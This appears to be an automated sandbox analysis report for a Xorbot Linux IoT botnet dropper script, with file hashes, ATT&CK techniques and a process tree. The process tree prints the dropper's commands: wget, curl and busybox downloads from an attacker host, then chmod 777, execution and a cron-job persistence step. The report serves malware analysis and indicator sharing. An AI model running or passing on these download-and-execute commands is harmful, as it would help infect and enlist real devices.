xorbot | a00ecd09ba374aa021e7ccc7b33173caa6e382fc3b93ba03326ebedece23c58a

Analysis

max time kernel
149s
max time network
157s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/02/2025, 18:13

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General

Target
bins.sh
Size 10KB
Sample250220-wtrvbstmy6
SHA256 a00ecd09ba374aa021e7ccc7b33173caa6e382fc3b93ba03326ebedece23c58a
MD5 7eb2de1ea7019f91b62df1a6d27a2ed7
SHA1 6483886dd87feaafa59fb05b3f68776770482456
SHA512 14bdca8c1deebe4addffd12b4be8eaaaa13089b93591c2b4ef390c997c517b5bee340c8cdc2cab994c81f7a445d822fe3bafc785d4878d7da6c2744454ebb99b
SSDEEP 192:vmZgdKQvHUdxvn/s5NzSnsvHUdx3n/s5NGA:vugdKASDA
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
729	chmod
779	chmod
789	chmod
799	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo	730	bins.sh
/tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly	780	bins.sh
/tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb	790	bins.sh
/tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky	800	bins.sh

Renames itself 1 IoCs

pid	Process
801	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.p0j5fC	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/107/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/807/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/816/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/106/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/139/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/148/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/595/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/655/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/821/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/27/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/73/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/130/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/309/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/601/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/825/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/16/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/141/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/278/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/797/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/814/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/3/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/41/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/43/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/165/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/8/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/11/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/15/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/20/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/22/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/26/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/647/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/6/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/19/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/306/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/602/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/812/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/823/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/9/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/17/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/18/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/42/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/810/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/12/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/25/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/28/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/806/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/808/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/820/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/827/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/95/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/104/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/187/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/599/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/648/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/7/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/10/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/21/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/329/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/5/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky

System Network Configuration Discovery 1 TTPs 13 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
794	curl
653	wget
678	curl
778	busybox
783	wget
786	busybox
793	wget
798	busybox
810	wget
703	busybox
733	wget
767	curl
784	curl

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo	wget
File opened for modification	/tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo	curl
File opened for modification	/tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly	wget
File opened for modification	/tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly	curl
File opened for modification	/tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb	wget
File opened for modification	/tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb	curl
File opened for modification	/tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky	wget
File opened for modification	/tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky	busybox
File opened for modification	/tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb	busybox
File opened for modification	/tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:649
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:651
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:653
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:678
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  - System Network Configuration Discovery
  PID:703
- /bin/chmod
  chmod 777 2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  ./2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  PID:730
- /bin/rm
  rm 2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  PID:732
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:767
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  - System Network Configuration Discovery
  PID:778
- /bin/chmod
  chmod 777 MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  ./MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  PID:780
- /bin/rm
  rm MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  PID:782
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:783
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:784
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod 777 YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  ./YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  PID:790
- /bin/rm
  rm YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  PID:792
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:793
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:794
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:798
- /bin/chmod
  chmod 777 yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  ./yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:800
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:802
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:803
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:804
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:805
- /bin/rm
  rm yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  PID:807
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/d8uMKkIThz9CehhDHDY592Zika7W5IuduA
  2⤵
  - System Network Configuration Discovery
  PID:810

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo

Path /tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

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MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly

Path /tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
Size 111KB
SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
MD5 701e7a55a4f3650f5feee92a9860e5fc
SHA1 6ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA512 7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
SSDEEP 3072:IF2Z9LeHHHPfbLGR0+XrOcVm/pOQbZJXx35zzp:fZ9LeHHHPfnGRJ7OcVm/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb

Path /tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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yx74yC70BPNRupZxWKJQjp7t3psl2zVIky

Path /tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

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tmp.p0j5fC

Path /var/spool/cron/crontabs/tmp.p0j5fC
Size 210B
SHA256 323dcf1ad4c76c1a5e258680e870d75d1300d323a30ee1f7711009214a6b709b
MD5 203b01940063fb5fcde295b34699aa10
SHA1 6fa0d514fdf0dc64e55734b3b080845cbebd93ad
SHA512 60cb71381b3891446e33de5c524cdfa7f20ce7a68dea6175f67525e20d4fe512ef9dc616e493e10df5862aa7c276b700008f561d23ec646fb4fe38a5337a23d5
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads